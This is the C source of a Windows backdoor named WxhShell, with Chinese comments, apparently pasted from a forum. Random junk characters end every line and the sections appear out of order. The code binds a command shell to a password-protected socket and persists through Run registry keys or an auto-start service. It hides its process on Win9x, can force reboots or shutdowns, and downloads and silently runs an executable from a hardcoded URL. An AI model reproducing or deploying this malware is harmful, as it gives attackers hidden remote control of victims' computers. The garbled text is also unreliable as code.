    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F"@'(b  
    if(Boot(SHUTDOWN)) z hR_qW+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Ymo%OT  
    else { V)?x*R*T)  
    closesocket(wsh); #:ED 0</  
    ExitThread(0); m|Q&Lphb8  
    } M*T# 5  
    break; P`IMvOs&  
    } ++p& x{  
  // 获取shell j9L+.UVI,  
  case 's': { (PT?h>|St  
    CmdShell(wsh); g6a3MJV`  
    closesocket(wsh); c J"]yG)=  
    ExitThread(0); d,Dg"Z  
    break; 2Z IpzH/8  
  } 8w@W8(3B  
  // 退出 u7y7  
  case 'x': { nE "b`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .}hZ7>4-  
    CloseIt(wsh); 2h? r![  
    break; fY\tvo%  
    } 4K?H-Jco  
  // 离开 {If2[4!z  
  case 'q': { 7N~qg 7&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #35S7G^@`  
    closesocket(wsh); BI]ut |Qw  
    WSACleanup(); ~cg+BAfu  
    exit(1); W*/s4 N  
    break; Bdk{.oh6  
        } E6^S2J2  
  } tgF(=a]o  
  } _6ax{:/Q  
C5lD Hw[CX  
  // 提示信息 ^J5V!i$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~3-YxCn%  
} b8b PK<  
  } ``YL] <<  
B43#9CK`o  
  return; szsZFyW )+  
} , LPFb6o  
zH\;pmWiN9  
// shell模块句柄 j n&9<"W  
int CmdShell(SOCKET sock) m+gG &`&u  
{ %Pvb>U(Xs  
STARTUPINFO si; !\k#{ 1[!  
ZeroMemory(&si,sizeof(si)); y88}f&z#5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {ZIFj.2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mp @(/  
PROCESS_INFORMATION ProcessInfo; ,E8>:-boL  
char cmdline[]="cmd"; Y"\T*lKa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ef*.}gcU  
  return 0; sFz4^Kn  
} N n-6/]d#  
mBgx17K/-_  
// 自身启动模式 Y  X{  
int StartFromService(void) [Oy2&C  
{ AFhG{G'W  
typedef struct ` Ehgn?6'  
{ }Yl8Q>t  
  DWORD ExitStatus; "s6_lhu=E7  
  DWORD PebBaseAddress; E~O>m8hF  
  DWORD AffinityMask; )I UWM  
  DWORD BasePriority; .N><yQ-j3'  
  ULONG UniqueProcessId; ^fiRRFr[  
  ULONG InheritedFromUniqueProcessId; md +`#-D\O  
}   PROCESS_BASIC_INFORMATION; czsoD) N  
SFPIr0 u  
PROCNTQSIP NtQueryInformationProcess; ;@-5lCvC(+  
X'Il:SK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !J?=nSu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OsSiBb,W79  
>`V|`Zi ?  
  HANDLE             hProcess; A kQFb2|ir  
  PROCESS_BASIC_INFORMATION pbi; ?}Ptb&Vk(  
F1[ [fH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3\l9Sf=M|  
  if(NULL == hInst ) return 0; ]~ 8N  
<.B > LU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mt]YY<l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xcRrI|?eC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jz8#88cY  
j\L$dPZ  
  if (!NtQueryInformationProcess) return 0; #w?%&,Kp  
z)y(31K<1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); exN#!& ;  
  if(!hProcess) return 0; oW1olmpp=  
D~?*Xv]s ~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n[S*gX0  
7XC}C+  
  CloseHandle(hProcess); pQ`L=#WM  
^p%+rB.j[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jP6G.aiO  
if(hProcess==NULL) return 0; tfIBsw.  
&MLhCekY  
HMODULE hMod; =<uz'\Ytv%  
char procName[255]; 90696v.  
unsigned long cbNeeded; GIl{wd  
f! Nc+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5:3$VWLa <  
krY.Cc]  
  CloseHandle(hProcess); WjxBNk'f  
{"AYOc>2|  
if(strstr(procName,"services")) return 1; // 以服务启动 s+G9L)b'  
|N.q[>^R  
  return 0; // 注册表启动 X?xm1|\  
} c@{^3V##T  
aZ3 #g  
// 主模块 1ucUnNkcV  
int StartWxhshell(LPSTR lpCmdLine) U1tPw`0h  
{ f5XcBW9E  
  SOCKET wsl; WSccR  
BOOL val=TRUE; 1,D ^,  
  int port=0; aL6 5t\2  
  struct sockaddr_in door; @9 tv N}  
2>$L>2$  
  if(wscfg.ws_autoins) Install(); ! r\ktX  
wm[d5A4  
port=atoi(lpCmdLine); \Le #+ P  
zq>"a&Y,  
if(port<=0) port=wscfg.ws_port; (MU7  
F?Nk:# V  
  WSADATA data; D4S?b ZFHo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6>7LFV1tvy  
HpSf I7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lFt{:HfX-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .tZ$a_O  
  door.sin_family = AF_INET; 9e*poG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z]_CFo1'l  
  door.sin_port = htons(port); MNE)<vw>  
jl29~^@}1i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D)$k{v#~  
closesocket(wsl); wWswuhq<  
return 1; O@&I.d$  
} tELnq#<6  
56aJE .?<  
  if(listen(wsl,2) == INVALID_SOCKET) { ".Z+bi2l  
closesocket(wsl); =v"{EmT[$  
return 1; !t{!.  
} ozwqK oE  
  Wxhshell(wsl); r/:'}os;  
  WSACleanup(); teALd~;  
2xm?,p`  
return 0; 82l";;n4p  
k(^b  
} 1S@k=EKM  
(G'ddZAJV  
// 以NT服务方式启动 zOp"n\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S(xA}0]  
{ i<![i5uAI  
DWORD   status = 0; ]c+'SJQ  
  DWORD   specificError = 0xfffffff; >u[ln@ l  
</Lqk3S-!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0M.[) @  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZS;kCdL   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZXkAw sr  
  serviceStatus.dwWin32ExitCode     = 0; 7:<>#  
  serviceStatus.dwServiceSpecificExitCode = 0; Ds/zl Z  
  serviceStatus.dwCheckPoint       = 0; Pk2 "\y@q/  
  serviceStatus.dwWaitHint       = 0; Z)4P>{  
YZD]<ptR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MkG ->*  
  if (hServiceStatusHandle==0) return; Jrl xa3 [  
>rGlj  
status = GetLastError(); SjU6+|l  
  if (status!=NO_ERROR) m8`A~  
{ 1 crjRbi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F.hC%Ncu  
    serviceStatus.dwCheckPoint       = 0; pYQs|5d  
    serviceStatus.dwWaitHint       = 0; sIM`Q%  
    serviceStatus.dwWin32ExitCode     = status; XRin~wz|S  
    serviceStatus.dwServiceSpecificExitCode = specificError; b6VAyTa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Qkuxw  
    return; 3g?T,| 2K  
  } 8ttw!x69)_  
Ric$Xmu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #SOe &W5  
  serviceStatus.dwCheckPoint       = 0; 4QDzG~N4)|  
  serviceStatus.dwWaitHint       = 0; 9`b3=&i\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); o!&*4>tF  
} )A"7l7?.n)  
:W55JD'  
// 处理NT服务事件,比如:启动、停止 BJTljg( {o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XoOe=V?I )  
{ c Ix(;[U  
switch(fdwControl) fW`F^G1R  
{ J0o[WD$A x  
case SERVICE_CONTROL_STOP: U[u6UG  
  serviceStatus.dwWin32ExitCode = 0; tL|Q{+i yE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W[ DB !ue  
  serviceStatus.dwCheckPoint   = 0; [ j_jee  
  serviceStatus.dwWaitHint     = 0; a WC sLH  
  { Po[zzj>m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iBt5aUt  
  } Z m>69gl  
  return; 1owoh,V6  
case SERVICE_CONTROL_PAUSE: 6ZJQ '9f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &bNj/n/  
  break; #/6X44 *u  
case SERVICE_CONTROL_CONTINUE: <Do89  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >~ :]+q  
  break; 6w#v,RDEu  
case SERVICE_CONTROL_INTERROGATE: e V#H"fM  
  break; c{0?gt.  
}; Q=E6ZxH5;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IuL ]V TY  
} u^$ CR  
%8/$CR  
// 标准应用程序主函数 x(Z@ R\C-a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =>U~ligu  
{ 7;V5hul  
"`wq:$R  
// 获取操作系统版本 2J5dZYW  
OsIsNt=GetOsVer(); 8h=XQf6k0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c@P,  
> im4'-  
  // 从命令行安装 j- -#vEW  
  if(strpbrk(lpCmdLine,"iI")) Install(); &-9D.'WzP  
>Ww F0W9?  
  // 下载执行文件 muLTYgaM  
if(wscfg.ws_downexe) { <dZ{E7l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 70Am]L&M  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9v A`\\9  
} 4+0Zj+ q";  
62q-7nV  
if(!OsIsNt) { Y;WrfO$J  
// 如果时win9x,隐藏进程并且设置为注册表启动 -K{ID$!p  
HideProc(); !~#31kL&  
StartWxhshell(lpCmdLine); q]aRJ`9f  
} [S%  
else t+VPX2  
  if(StartFromService()) _e W*  
  // 以服务方式启动 <f%9w]  
  StartServiceCtrlDispatcher(DispatchTable); zq#o8))4X  
else 8~bPoWP  
  // 普通方式启动 3ml|`S  
  StartWxhshell(lpCmdLine); $n) w4p_  
}% =P(%-  
return 0; ) )Nc|`  
} 0#ph1a<  
>_".  
5VN4A<))  
??Lxb% 7R  
=========================================== dK-G%5)r  
FWj~bn  
!}%giF$-  
[ kknY+n1  
Ptg73Gm&R  
'nul{RE*  
" UkC\[$-"\  
cjL!$OE6  
#include <stdio.h> ;%)i/MGEB  
#include <string.h> XpGom;z^c  
#include <windows.h> t t=$:}A  
#include <winsock2.h> F^ f]*MhT"  
#include <winsvc.h> (0S"ZT  
#include <urlmon.h> lZ|Ao0(  
&xVWN>bd^  
#pragma comment (lib, "Ws2_32.lib") Q'N<jX[  
#pragma comment (lib, "urlmon.lib") 0-FbV,:;  
+RM3EvglDQ  
#define MAX_USER   100 // 最大客户端连接数 cGD A0#r  
#define BUF_SOCK   200 // sock buffer $T6<9cB@  
#define KEY_BUFF   255 // 输入 buffer (]JJ?aAF  
%+.]>''a  
#define REBOOT     0   // 重启 S'WmPv  
#define SHUTDOWN   1   // 关机 _MR2,mC  
>2rFURcD  
#define DEF_PORT   5000 // 监听端口 z<ek?0?yS  
a7Jr} "B  
#define REG_LEN     16   // 注册表键长度 tf,_4_7#$  
#define SVC_LEN     80   // NT服务名长度 r&qD!l5y  
BBX4^;t  
// 从dll定义API 0Ec -/   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2a G<^3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P>H'od  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Av'H(qB\K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4DNZ y2`  
I|.B-$gH  
// wxhshell配置信息 ,Ubnz  
struct WSCFG { $?GF]BT  
  int ws_port;         // 监听端口 D -jew&B  
  char ws_passstr[REG_LEN]; // 口令 ]KfHuYjM  
  int ws_autoins;       // 安装标记, 1=yes 0=no $6_J` 7  
  char ws_regname[REG_LEN]; // 注册表键名 q*T+8 O  
  char ws_svcname[REG_LEN]; // 服务名 cc>h=%s`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NT/}}vES  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qAU]}Et/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f7`y*9^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sU8D;ML7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \nLO.,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k_ skn3,u  
A4# m&o  
}; aoBM _#  
l6O2B/2j  
// default Wxhshell configuration  2}`OjVS  
struct WSCFG wscfg={DEF_PORT, rnW i<Se  
    "xuhuanlingzhe", DCNuvrZ  
    1, U{ Y)\hR-  
    "Wxhshell", XhS<GF%  
    "Wxhshell", OTRTa{TB  
            "WxhShell Service", 8z+ CYeV  
    "Wrsky Windows CmdShell Service", +"C0de|-  
    "Please Input Your Password: ", F2u{Wzr_@  
  1, bZ389dSn  
  "http://www.wrsky.com/wxhshell.exe", kqy Y:J  
  "Wxhshell.exe" Jlzhn#5c-  
    }; Y-Z.AA,  
l-mUc1.S  
// 消息定义模块 {U4%aoBd8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h7*m+/O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ }&6p6|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J sH9IK:  
char *msg_ws_ext="\n\rExit."; JeO(sj$e  
char *msg_ws_end="\n\rQuit."; )qKfTt N`  
char *msg_ws_boot="\n\rReboot..."; n>@(gDq  
char *msg_ws_poff="\n\rShutdown..."; ^v,^.>P  
char *msg_ws_down="\n\rSave to "; 0uZHH  
Di&tm1R1  
char *msg_ws_err="\n\rErr!"; ]-O:|q>]  
char *msg_ws_ok="\n\rOK!"; Q{>{ e3z}  
A5z`3T;1  
char ExeFile[MAX_PATH]; <EE)d@%>v  
int nUser = 0; %9M_ * ]  
HANDLE handles[MAX_USER]; WB= gN:?  
int OsIsNt; S]<Hx_[}  
.rS0zU  
SERVICE_STATUS       serviceStatus; E;+3VJ+F"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U*6r".sz  
[1s B  
// 函数声明 rc"Z$qU?  
int Install(void); U#Ud~Q q  
int Uninstall(void); t]Oxo`h=  
int DownloadFile(char *sURL, SOCKET wsh); kefQH\<X  
int Boot(int flag); ?&N JN/+%  
void HideProc(void); #vIF]Y  
int GetOsVer(void); IQR?n}ce  
int Wxhshell(SOCKET wsl); fFsA[@5tul  
void TalkWithClient(void *cs); 2"NJt9w  
int CmdShell(SOCKET sock); ?gTY! ;$P  
int StartFromService(void); P2lj#aQLS  
int StartWxhshell(LPSTR lpCmdLine); :imp~~L;  
wp} PQw:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GU_R6Wt+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -{ZRk[>Z  
<Q%\ pAP}b  
// 数据结构和表定义 (pAGS{{  
SERVICE_TABLE_ENTRY DispatchTable[] = Peb;XI  
{ )4DF9JpD  
{wscfg.ws_svcname, NTServiceMain}, ? -6oh~W<  
{NULL, NULL} A9[l5E  
}; gi~*1RIel;  
p0[ %+n%  
// 自我安装 'sJYt^  
int Install(void) "/wZtc  
{ hMDy;oQ  
  char svExeFile[MAX_PATH]; oKzLt  
  HKEY key; kvKbl;<&#  
  strcpy(svExeFile,ExeFile); _%Jqyc"-  
0p8(Q  
// 如果是win9x系统,修改注册表设为自启动 u3kZOsG  
if(!OsIsNt) { hv8V=Z'Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - wCfwC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dZ_Hj X7  
  RegCloseKey(key); bz,C%HFA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !}<Y^="  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 06L/i,  
  RegCloseKey(key); o AvX(  
  return 0; 81`-xVd  
    } tvavI9  
  } '`^`NI`  
} iku) otUc  
else { Eqnc("m)  
RP!X 5  
// 如果是NT以上系统,安装为系统服务 %i$]S`A}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'f]\@&Np  
if (schSCManager!=0) :Fu.S1j$  
{ k\I+T~~xD  
  SC_HANDLE schService = CreateService S}mqK|!  
  (  {|a=  
  schSCManager, fn]f$n*`  
  wscfg.ws_svcname, ``DS?pUY  
  wscfg.ws_svcdisp, 8Y_wS&eB  
  SERVICE_ALL_ACCESS, CB\E@u,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n](Q)h'nlo  
  SERVICE_AUTO_START, Jwgd9a5  
  SERVICE_ERROR_NORMAL, .gzNdSE  
  svExeFile, ZxLgV$U  
  NULL, .3M=|rE   
  NULL, ]gx]7  
  NULL, CM|?;PBuv  
  NULL, c/%i,N\5  
  NULL 4:WN-[xX  
  ); 5Z@OgR  
  if (schService!=0) #Fm,mO$v  
  { \%g# __\  
  CloseServiceHandle(schService); ^U)xQD"  
  CloseServiceHandle(schSCManager); wak_^8x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rzsAnLxo  
  strcat(svExeFile,wscfg.ws_svcname); *#\da]"{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o)GLh^g_I'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R,>LUa*u  
  RegCloseKey(key); 2guWWFS  
  return 0; 2M1}`H\  
    } "Y-_83  
  } Yi:@>A<#  
  CloseServiceHandle(schSCManager); =^%#F~o:  
} jv_z%`  
} Rf9;jwU  
OXAr..  
return 1; AU0pJB'  
} _[SW89zk  
@|BaZq,g  
// 自我卸载 Te_%r9P|2  
int Uninstall(void) > yk2  
{ ?%K7IJ%  
  HKEY key; VB=$D|Ll  
#6* j+SX^  
if(!OsIsNt) { %PW_v~sg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U|Z Yoc+](  
  RegDeleteValue(key,wscfg.ws_regname); 2SVBuV/R  
  RegCloseKey(key); 3g ep_ aC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :QGgtTEV""  
  RegDeleteValue(key,wscfg.ws_regname); vVBu/)  
  RegCloseKey(key); N/CL?Z>c  
  return 0; 6N+]g/_a  
  } ,sF49C D  
} yUd>EnQna  
} 9 M>.9~  
else { &![3{G"+>l  
Pk)>@F<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QPr29  
if (schSCManager!=0) v{tw;Z#  
{ ~*NG~Kn"s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2nz^%pLT  
  if (schService!=0) IqD;*  
  { ePLpGT  
  if(DeleteService(schService)!=0) { iX (<ozH  
  CloseServiceHandle(schService); }Y9= 3X  
  CloseServiceHandle(schSCManager); x6N)T4J(  
  return 0; |0^~S  
  } M it3q  
  CloseServiceHandle(schService); FglW|Hwy  
  } ] 40@yrc  
  CloseServiceHandle(schSCManager); MEKsL7  
} VO u/9]a  
} f(SK[+aqW  
g  Z!q  
return 1; JO[7_*s  
} m!#'4  
skeH~-`M@  
// 从指定url下载文件 3:wN^!A}ve  
int DownloadFile(char *sURL, SOCKET wsh) 1|bg;X9+  
{ sH_B*cr3  
  HRESULT hr; ?2q4dx 0  
char seps[]= "/"; >8;EeRvI  
char *token; E! "N}v  
char *file; C"7-lz  
char myURL[MAX_PATH]; yX7P5c.   
char myFILE[MAX_PATH]; }+] l_!v*  
CqFk(Td9-D  
strcpy(myURL,sURL); ^]n:/kZ5"[  
  token=strtok(myURL,seps); H"5=z7w  
  while(token!=NULL) \Dlmrke  
  { X^o0t^  
    file=token; 1Y+g^Z;G  
  token=strtok(NULL,seps); U,Q  
  } IEmjWw4  
o{[w6^D7  
GetCurrentDirectory(MAX_PATH,myFILE); |&u4Q /0  
strcat(myFILE, "\\"); dQljG.PiK  
strcat(myFILE, file); BS*Y3$  
  send(wsh,myFILE,strlen(myFILE),0); XU5GmGu_+  
send(wsh,"...",3,0); AJYZ`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }t%2giJ   
  if(hr==S_OK) 4"^v]&I  
return 0; }j`#s  
else _<^mi!Y  
return 1; JfLoGl;p m  
T;C0t9Yew  
} nVyV]'-z  
nG4}8  
// 系统电源模块 <rI8O;\H  
int Boot(int flag) i K,^|Q8  
{ 2I$-&c]  
  HANDLE hToken; O= 84ZP%  
  TOKEN_PRIVILEGES tkp; qbx}9pp}g  
89Ch'D  
  if(OsIsNt) { ioT+,li  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wGLSei-s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CbW>yr  
    tkp.PrivilegeCount = 1; uz;zmK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a 8}!9kL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wNm1H[{  
if(flag==REBOOT) { e| Sw+fhy<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :meq4!g{1  
  return 0; #Y<QEGb(  
} zBjbH=  
else { ?s]+2Tq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PblO?@~O  
  return 0; ;&9wG`  
} tRYi q  
  } }rA _4%  
  else { FR^(1+lx&  
if(flag==REBOOT) { *f-8egt-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]k)h<)nY  
  return 0; v43FU3  
} (|dN6M-.K  
else { \5DOp-2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ovsI2  
  return 0; #`qP7E w  
} -'Oq.$Qq  
} N$! Vm(S  
q?$<{Z"  
return 1; hZtJ LY  
} 1X-fiQJe  
@+&QNI06S  
// win9x进程隐藏模块 A(1d q  
void HideProc(void) P$i d?  
{ w,VUWja  
1kczlTF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~]78R!HJ  
  if ( hKernel != NULL ) <G60R^o  
  { DAVgP7h'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^3lEfI<pBm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lG R6S  
    FreeLibrary(hKernel); 94'0X  
  } bM>5=Zox  
T:0#se  
return; F.$NYr/|y  
} }%Vx2Q  
RxUzJ  
// 获取操作系统版本 Sp\ 7  
int GetOsVer(void) "yf#sEabV  
{ d: LP8  
  OSVERSIONINFO winfo; :<PwG]LO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IRK(y*6  
  GetVersionEx(&winfo); }0 b[/ZwQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZU K'z  
  return 1; VQ/Jz5^  
  else " "{#~X}  
  return 0; uTvck6  
} RGz NZc  
q-D|96>8  
// 客户端句柄模块 vN$j @h .  
int Wxhshell(SOCKET wsl) ;S}_/'  
{ f[+N=vr  
  SOCKET wsh; Q}|QgN  
  struct sockaddr_in client; (4"Azo*~![  
  DWORD myID; L9^h .Y7  
V[fcP;   
  while(nUser<MAX_USER) !A=>B=.|D  
{ Y N*"q'Yz_  
  int nSize=sizeof(client); Hq."_i{I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -iySU 6  
  if(wsh==INVALID_SOCKET) return 1; vJfj1 f  
pa2cM%48  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *,#T&M7D  
if(handles[nUser]==0) [*z`p;n2D  
  closesocket(wsh); o}6d[G>  
else VhX~sJ1%Gp  
  nUser++;  o\-:  
  } :FWo,fq?:{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kn4x _9  
c~v(bK  
  return 0; Xw]L'+V=  
} .TKKjS%8  
`%Jq^uW  
// 关闭 socket HK4 *+  
void CloseIt(SOCKET wsh) =N<Z@'c  
{ rF)[ Sed:T  
closesocket(wsh); 1%k$9[!l%  
nUser--; [.LbX`K:  
ExitThread(0); n81z 0lnr  
} [O\[,E"K  
#7"*Pxb#A  
// 客户端请求句柄 U9%#(T$  
void TalkWithClient(void *cs) ofHe8a8  
{ NTy0NH  
|^T?5=&Kt  
  SOCKET wsh=(SOCKET)cs; +/Qgl  
  char pwd[SVC_LEN]; ^gd[UC-"w  
  char cmd[KEY_BUFF]; 9MR,3/&N  
char chr[1]; Mhiz{Td  
int i,j; ~-zch=+u  
V^E.9fs,  
  while (nUser < MAX_USER) { wC>Xu.Z:  
|z]--h  
if(wscfg.ws_passstr) { $i.)1.x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HRF;qR9v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  KSB{Z TE  
  //ZeroMemory(pwd,KEY_BUFF); qJq2Z.>hy  
      i=0; .vk|aIG  
  while(i<SVC_LEN) { _S3qPPo3l]  
=.yKl*WV{  
  // 设置超时 %2z] 2@  
  fd_set FdRead; q8[I` V{  
  struct timeval TimeOut; (vb8Mk  
  FD_ZERO(&FdRead); ;=F]{w]$+  
  FD_SET(wsh,&FdRead); VtzX I2.2  
  TimeOut.tv_sec=8; 4pC.mRu 0  
  TimeOut.tv_usec=0; sJB::6+1(|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >uVr;,=y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1Aw/-FxJ  
#azD& 6`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \&. ]!!Q  
  pwd=chr[0]; 1k?k{Ri  
  if(chr[0]==0xd || chr[0]==0xa) { iES?}K/q  
  pwd=0; iU9>qJ]  
  break; GEQ3r'B|  
  } $9Asr07  
  i++; F2Nb]f  
    } _7Rp.)[&  
t182&gpd`  
  // 如果是非法用户,关闭 socket C3z#A3&J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <j^bk"l p  
} t8\XO j  
U6 $)e.FO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U3 y-cgE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i! DO  
\aB>Q"pS  
while(1) { +ht{ARX2(  
v5`Q7ZZ  
  ZeroMemory(cmd,KEY_BUFF); m[%*O#_  
rA6lyzJ  
      // 自动支持客户端 telnet标准   A0`#n|(Ad!  
  j=0; Fg<rz&MR  
  while(j<KEY_BUFF) { c037#&Q%#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _pe_w{V-b6  
  cmd[j]=chr[0]; +*vg) F:  
  if(chr[0]==0xa || chr[0]==0xd) { FatLc|[  
  cmd[j]=0; ( S=RFd  
  break; QGM@m:O  
  } P_8z'pYd>  
  j++; $2lPUQZ<5  
    } YNV4'  
LH]<+Zren  
  // 下载文件 iw)^; 8q  
  if(strstr(cmd,"http://")) { }vspjplk^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S=.7$PY  
  if(DownloadFile(cmd,wsh)) *eb2()B%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [K4wd%+  
  else f9FLtdh \7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8dY Pn+`  
  } j!;y!g  
  else { kjVJ!R\  
